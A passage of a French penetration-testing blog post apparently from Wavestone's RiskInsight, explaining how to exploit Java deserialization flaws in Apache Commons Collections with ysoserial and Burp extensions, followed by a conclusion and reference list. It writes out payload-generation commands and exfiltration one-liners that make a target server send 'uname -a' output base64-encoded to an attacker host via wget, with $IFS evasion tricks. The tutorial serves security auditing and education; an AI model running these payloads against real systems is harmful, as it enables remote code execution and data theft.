<div style="text-align: justify;">La fonction de désérialisation utilisée par l’application peut :</div>
<div style="text-align: justify;">
<ul>
<li>Être écrite et redéfinie spécifiquement dans la classe de l’objet à désérialiser (override de la méthode <i>readObject</i>)</li>
<li>Être appelée dans une bibliothèque externe, la plus connue étant Apache Commons Collections (fonction <i>Utils</i>.<i>DeserializeFromFile</i>)</li>
<li>De nombreuses autres possibilités existent : méthode <i>readResolve</i>, méthode <i>readExternal</i>, méthode <i>readUnshared</i>, bibliothèque <i>XStream</i>, etc.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">L’outil <b>Java Deserialization Scanner</b> aura permis d’identifier la librairie utilisée. La prochaine étape est donc de générer la charge utile (gadget) correspondant à la librairie en question.</div>
<div style="text-align: justify;">Pour cela il existe 3 possibilités :</div>
<div style="text-align: justify;">
<ul>
<li>Générer un payload avec ysoserial puis l’envoyer au serveur</li>
<li>Utiliser l’extension Burp Java Deserialization Scanner</li>
<li>Utiliser l’extension Burp Java Serial Killer</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Méthode 1 : YSoSerial</h3>
</div>
<div style="text-align: justify;">L&rsquo;une des vulnérabilités les plus importantes liée à la désérialisation a été découverte dans la bibliothèque <b>Apache Commons Collections</b>.</div>
<div style="text-align: justify;">Si une version vulnérable de cette bibliothèque (ou d’une autre bibliothèque vulnérable) est présente sur le système exécutant l&rsquo;application utilisant la désérialisation, cette vulnérabilité peut entraîner l&rsquo;<b>exécution de code à distance</b>.</div>
<div style="text-align: justify;">Afin d&rsquo;exploiter cette vulnérabilité, il est possible d’utiliser l&rsquo;outil <b>ysoserial</b>, qui contient une collection d&rsquo;exploits et permet de générer des objets sérialisés malveillants qui exécuteront des commandes lors de la désérialisation.</div>
<div style="text-align: justify;">Il est juste nécessaire de spécifier la bibliothèque vulnérable. Voici un exemple pour Windows :</div>
<div style="text-align: justify;"><span class="w-code">java -jar ysoserial-master.jar CommonsCollections5 calc.exe &gt; wave.stone</span></div>
<div style="text-align: justify;">Cela générera un objet sérialisé (fichier wave.stone) pour la bibliothèque vulnérable <b>Apache Commons Collections</b> et l&rsquo;exploit exécutera la commande « <b>calc.exe</b> ».</div>
<div style="text-align: justify;">Si le code suivant est présent côté serveur :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span class="w-code"><span class="w-code"><span class="sc11">LogFile</span> <span class="sc11">objet</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">LogFile</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">String</span> <span class="sc11">file</span> <span class="sc10">=</span> <span class="sc6">« wave.stone »</span><span class="sc10">;</span></span></span><span class="w-code"><span class="sc2">// Désérialisation de l’objet<br />
</span><span class="sc11">objet</span> <span class="sc10">=</span> <span class="sc10">(</span><span class="sc11">LogFile</span><span class="sc10">)</span><span class="sc11">Utils</span><span class="sc10">.</span><span class="sc11">DeserializeFromFile</span><span class="sc10">(</span><span class="sc11">file</span><span class="sc10">);</span><span class="sc0"><br />
</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Alors après envoi de la charge malveillante au serveur (via <b>Burp</b>), l’output côté serveur sera le suivant :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span class="w-code">Deserializing from wave.stone<br />
<span class="w-grepped">Exception in thread « main » java.lang.ClassCastException:<br />
java.management/javax.management.BadAttributeValueExpException<br />
cannot be cast to LogFile at LogFiles.main(LogFiles.java:105)</span><br />
</span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Et le résultat sur le serveur sera l’exécution de calc.exe :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15746 media-15746" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15746 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I9.png" alt="" width="326" height="502" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I9.png 326w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I9-124x191.png 124w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I9-25x39.png 25w" sizes="auto, (max-width: 326px) 100vw, 326px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h3>Méthode 2 : Java DS</h3>
</div>
<div style="text-align: justify;">À la suite de la <b>phase de détection</b>, nous savons qu’une charge utile (gadget) forgé pour <b>CommonsCollections1</b> fonctionne contre notre cible.</div>
<div style="text-align: justify;">En accédant à l’onglet « <b>Exploiting </b>» de Java DS, il est possible de créer et d’envoyer nos propres charges utiles.</div>
<div style="text-align: justify;">Par exemple, pour tenter de lancer la commande <i>uname -a</i> sur le système Unix distant (si c’est un Unix) on entrera la commande suivante :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15748 media-15748" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15748 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I10.png" alt="" width="640" height="479" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I10.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I10-255x191.png 255w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I10-52x39.png 52w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Le serveur renvoie ici un autre objet sérialisé en réponse, ce qui ne nous permet absolument pas de savoir si notre commande a réussi ou pas, ni d’avoir sa sortie.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15750 media-15750" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15750 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11.png" alt="" width="640" height="496" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11-246x191.png 246w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11-156x121.png 156w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I11-155x120.png 155w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Une technique permettant de valider l&rsquo;exécution réussie de nos commandes consiste à utiliser un canal auxiliaire basé sur le temps : En <b>mettant en pause le processus en cours d’exécution avec la commande Java Sleep</b>, nous pouvons <b>démontrer avec certitude que l’application est vulnérable en mesurant le temps de réponse du serveur</b>.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Une charge utile basée sur la mise en pause du processus est donc suffisante pour identifier la vulnérabilité, mais si vous avez le temps et voulez aller encore plus loin, il est <b>possible de récupérer cette sortie</b> en déployant un serveur web sur votre machine, et en requêtant votre serveur web depuis le serveur cible.</div>
<div style="text-align: justify;">Pour cela, sur votre machine d’audit, commencez par déployer un serveur web :</div>
<div></div>
<div style="text-align: justify;"><span class="w-code">python -m SimpleHTTPServer 80</span></div>
<div></div>
<div style="text-align: justify;">Et l’objectif va être de faire exécuter cette commande au serveur cible :</div>
<div></div>
<div style="text-align: justify;"><span class="w-code">wget <span class="w-grepped">ip_attaquant</span>/`uname -a | base64`</span></div>
<div></div>
<div style="text-align: justify;">L’exploit de Apache Commons Collections fait transmettre notre commande à Apache Commons <b>exec</b>.</div>
<div style="text-align: justify;">Par conséquent, les commandes sont invoquées sans avoir de shell parent, ce qui limite rapidement les actions… Mais on peut appeler un shell <b>bash </b>via Apache Commons <b>exec </b>via la commande <b>bash -c</b>.</div>
<div style="text-align: justify;">Toutefois, Apache Commons exec parse les commandes en gérant très mal les espaces&#8230; Pour résoudre ce problème, on peut utiliser 2 approches :</div>
<div style="text-align: justify;">
<ul>
<li>Utiliser les fonctions de manipulation de chaîne en bash. Par exemple, cette commande charge le résultat en base64 de la commande echo yoloswag dans la variable c, qui est ensuite ajoutée au chemin de la requête wget :</li>
</ul>
</div>
<div style="text-align: justify;"><span class="w-code">bash -c c=`{echo,yoloswag}|base64`&amp;&amp;{wget,<span class="w-grepped">ip_attaquant</span>/$c}&rsquo;</span></div>
<div style="text-align: justify;">
<ul>
<li>Il est aussi possible d’utiliser la variable $IFS (séparateur de champs interne) à la place des espaces dans la commande transmise à Bash. Ici pour lancer un uname -a :</li>
</ul>
</div>
<div style="text-align: justify;"><span class="w-code">bash –c wget$IFS<span class="w-grepped">ip_attaquant</span>/`uname$IFS-a|base64`</span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Dernier point important : il peut être nécessaire d’échapper les barres obliques et les signes dollar dans certaines situations, tout dépend de la charge utile et des fonctions touchées.</div>
<div style="text-align: justify;">Ici, avec une machine d’audit ayant pour IP 54.161.175.139 :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15752 media-15752" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15752 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12.png" alt="" width="640" height="374" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-327x191.png 327w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-120x70.png 120w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Le résultat côté serveur web sur la machine d’audit est le suivant :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15760 media-15760" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15760 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-bis.png" alt="" width="640" height="32" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-bis.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-bis-437x22.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-bis-71x4.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
</div>
<div style="text-align: justify;">Une requête depuis l’IP du serveur cible apparaît, vers une URL encodée en base64 et qui correspond à la sortie de la commande « <b>uname -a</b> ».</div>
<div style="text-align: justify;">En effet, après une extraction de la donnée et son décodage base64 par la commande suivante :</div>
<div></div>
<div style="text-align: justify;"><span class="w-code">tail -n1 access.log | cut -d/ -f4 | cut ‘d’’ -f1 | base64 -d</span></div>
<div></div>
<div style="text-align: justify;">Le résultat suivant apparaît :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15762 media-15762" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15762 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-ter.png" alt="" width="640" height="29" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-ter.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-ter-437x20.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I12-ter-71x3.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
</div>
<div style="text-align: justify;">Vous avez donc exécuté une commande <b>uname -a</b> avec succès sur le serveur cible : vous êtes désormais un serial hacker accompli !</div>
<div style="text-align: justify;">
<figure id="post-15754 media-15754" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15754 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13.jpg" alt="" width="320" height="212" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13.jpg 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-288x191.jpg 288w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-59x39.jpg 59w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Le maître deserializateur veut vous serrer la main</span></i></div>
</div>
<div style="text-align: justify;">
<h3>Méthode 3 : Java Serial Killer</h3>
</div>
<div style="text-align: justify;">À la suite de la <b>phase de détection</b>, nous savons qu’une charge utile (gadget) forgé pour <b>CommonsCollections1 </b>fonctionne contre notre cible.</div>
<div style="text-align: justify;">Vous pouvez alors utiliser l’extension Burp <b>Java Serial Killer</b> ; un clic-droit sur une requête POST contenant un objet Java sérialisé dans le body permet de l’envoyer à l’extension :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15756 media-15756" class="align-none">
<figure id="post-15764 media-15764" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15764 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-bis.png" alt="" width="640" height="229" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-bis.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-bis-437x156.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I13-bis-71x25.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Allez ensuite dans l’onglet Burp « Java Serial Killer » :</div>
<div style="text-align: justify;">
<figure id="post-15756 media-15756" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15756 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I14.png" alt="" width="640" height="327" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I14.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I14-374x191.png 374w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I14-71x36.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Cet onglet prend en entrée :</div>
<div style="text-align: justify;">
<ul>
<li>Une commande à exécuter sur le serveur cible</li>
<li>La librairie vulnérable à exploiter</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Par exemple, pour envoyer une requête ping à <b>wavestone.com</b> en utilisant le type de charge utile <b>CommonsCollections1</b>, car nous savons qu’elle fonctionne suite à la phase de détection :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15758 media-15758" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15758 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I15.png" alt="" width="640" height="333" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I15.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I15-367x191.png 367w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I15-71x37.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<p>Il est aussi possible d’encoder la charge en Base64, si c’est le format attendu par le serveur (voir la petite checkbox à droite de « Serialize »).</p>
</div>
<h2 style="text-align: justify;">Conclusion</h2>
<div style="text-align: justify;">Vous avez désormais les bases théoriques permettant de comprendre les vulnérabilités liées à la désérialisation en Java, et les techniques et outillages pratiques permettant de les exploiter dans les librairies les plus connues, sans connaissance préalable du code applicatif.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Toutefois, il est à garder en tête que ces librairies ne sont pas utilisées dans 100% des cas de désérialisation, comme vu dans le chapitre « Exemple d’attaque : Compromission de compte utilisateur », où la vulnérabilité exploitée n’impliquait d’ailleurs même pas l&rsquo;envoi de code au serveur à exécuter. Les exploits plus spécifiques reposent donc énormément sur la connaissance du code (ou l’ingénierie inverse sur ce code) qui peut être manipulé par désérialisation. D’où beaucoup de difficultés à exploiter les vulnérabilités de type désérialisation malgré l’impact parfois colossal de ce type de failles.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Par ailleurs, la sérialisation/désérialisation n’est pas un concept exclusif à Java, et se retrouve dans de nombreux autres langages de programmation, notamment :</div>
<div style="text-align: justify;">
<ul>
<li><b>Python : </b>pickling / unpickling</li>
<li><b>PHP : </b>serializing / deserializing</li>
<li><b>Ruby : </b>marshalling / unmarshalling</li>
<li>…</li>
</ul>
</div>
<div style="text-align: justify;">La méthodologie globale reste la même, mais les outils peuvent varier (<b>Freddy </b>à la place de <b>ysoserial </b>pour les moteurs de désérialisation XML par exemple…).</div>
<div style="text-align: justify;">La cheatsheet suivante peut donner de bonnes pistes d’audit pour ces autres langages et technologies :</div>
<div style="text-align: justify;"><a href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_Cheat_Sheet.md">https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_Cheat_Sheet.md</a>.</div>
<div></div>
<h3 style="text-align: justify;">Sources et références pour approfondir le sujet</h3>
<div style="text-align: justify;">Article Nytro sur la désérialisation Java</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://nytrosecurity.com/2018/05/30/understanding-java-deserialization/">https://nytrosecurity.com/2018/05/30/understanding-java-deserialization/</a></li>
</ul>
</div>
<div style="text-align: justify;">Article de Synopsys expliquant comment exfiltrer de la donnée via la désérialisation Java et contourner les principales limitations techniques que l’on peut rencontrer</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://www.synopsys.com/content/dam/synopsys/sig-assets/whitepapers/exploiting-the-java-deserialization-vulnerability.pdf">https://www.synopsys.com/content/dam/synopsys/sig-assets/whitepapers/exploiting-the-java-deserialization-vulnerability.pdf</a></li>
</ul>
</div>
<div style="text-align: justify;">Cheatsheet pour la désérialisation Java</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet">https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet</a></li>
</ul>
</div>
<div style="text-align: justify;">La désérialisation Java avec Burp</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://blog.netspi.com/java-deserialization-attacks-burp/">https://blog.netspi.com/java-deserialization-attacks-burp/</a></li>
</ul>
</div>
<div style="text-align: justify;">Article complet expliquant la désérialisation Java et listant plusieurs outils dédiés</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/">https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/</a></li>
</ul>
</div>
<div style="text-align: justify;">Liste de recommandations sur l’usage de la désérialisation pour divers langages</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_Cheat_Sheet.md">https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_Cheat_Sheet.md</a></li>
</ul>
</div>
<div style="text-align: justify;">Support d’un talk d’Insomnia sur la désérialisation pour plusieurs langages à l’OWASP New Zealand Day 2016</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://insomniasec.com/cdn-assets/Deserialization_-__What_Could_Go_Wrong.pdf">https://insomniasec.com/cdn-assets/Deserialization_-__What_Could_Go_Wrong.pdf</a></li>
</ul>
</div>
<div style="text-align: justify;">Exploitation de vulnérabilités de désérialisation Java dans des environnements sécurisés (systèmes avec pare-feu, Java mis à jour)</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html">https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html</a></li>
</ul>
</div>
<div style="text-align: justify;">Exploiter la désérialisation Java en aveugle avec Burp et Ysoserial</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://www.n00py.io/2017/11/exploiting-blind-java-deserialization-with-burp-and-ysoserial/">https://www.n00py.io/2017/11/exploiting-blind-java-deserialization-with-burp-and-ysoserial/</a></li>
</ul>
</div>
<div style="text-align: justify;">Write-up du challenge Webgoat 8 (application d’entraînement développée par l’OWASP) d’exploitation d’une vulnérabilité de désérialisation non sécurisée</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://medium.com/abn-amro-red-team/java-deserialization-from-discovery-to-reverse-shell-on-limited-environments-2e7b4e14fbef">https://medium.com/abn-amro-red-team/java-deserialization-from-discovery-to-reverse-shell-on-limited-environments-2e7b4e14fbef</a></li>
</ul>
</div>
<div style="text-align: justify;">Article d’un reverse engineer de Tenable expliquant l’analyse de la  CVE-2016-3737, et l’écriture de gadgets pour Jython</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://fr.tenable.com/blog/expanding-on-a-known-vulnerability-attacking-with-jython">https://fr.tenable.com/blog/expanding-on-a-known-vulnerability-attacking-with-jython</a></li>
</ul>
</div>
<div style="text-align: justify;">Cours Java sur l’implémentation d’une classe sérialisable</div>
<div style="text-align: justify;">
<ul>
<li><a href="http://www.javapractices.com/topic/TopicAction.do?Id=45">http://www.javapractices.com/topic/TopicAction.do?Id=45</a></li>
</ul>
</div>
<div style="text-align: justify;">Support d’un talk d’Alvaro Munoz (@pwntester) et Christian Schneider (@cschneider4711) à l’OWASP AppSecEU 2016 sur les vulnérabilités de désérialisation de la JVM et comment s’en protéger</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://fr.slideshare.net/cschneider4711/surviving-the-java-deserialization-apocalypse-owasp-appseceu-2016">https://fr.slideshare.net/cschneider4711/surviving-the-java-deserialization-apocalypse-owasp-appseceu-2016</a></li>
</ul>
</div>
<div style="text-align: justify;">Support d’un talk de Chris Frohoff (@frohoff) et Gabriel Lawrence (@gebl) à l’OWASP San Diego sur la désérialisation Java</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://www.slideshare.net/frohoff1/deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization">https://www.slideshare.net/frohoff1/deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization</a></li>
</ul>
</div>
<div style="text-align: justify;">Analyse de l’attaque d’Equifax (143 millions de clients touchés aux USA) en 2017 par @brandur, reposant sur le chaînage de gadgets</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://brandur.org/fragments/gadgets-and-chains">https://brandur.org/fragments/gadgets-and-chains</a></li>
</ul>
</div>
<div style="text-align: justify;">Support d’un talk de Matthias Kaiser (@matthias_kaiser) à la HackPra WS 2015 sur l’exploitation de vulnérabilités de désérialisation non-sécurisée</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://fr.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478">https://fr.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478</a></li>
</ul>
</div>
<div style="text-align: justify;">Article de Ian Haken sur la découverte automatisée de chaînes de gadgets, notamment avec Gadget Inspector</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains-wp.pdf">https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains-wp.pdf</a></li>
</ul>
</div>
<div style="text-align: justify;">Article de @breenmachine de 2015 sur la désérialisation Java dans plusieurs technologies du marché et détail de 5 exploits (websphere, jboss, jenkins, weblogic et openNMS)</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/">https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/</a></li>
</ul>
</div>
<div style="text-align: justify;"></div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2019/07/techniques-outils-deserialisation-java/">Techniques et outils d’attaque sur les moteurs de désérialisation (Java)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
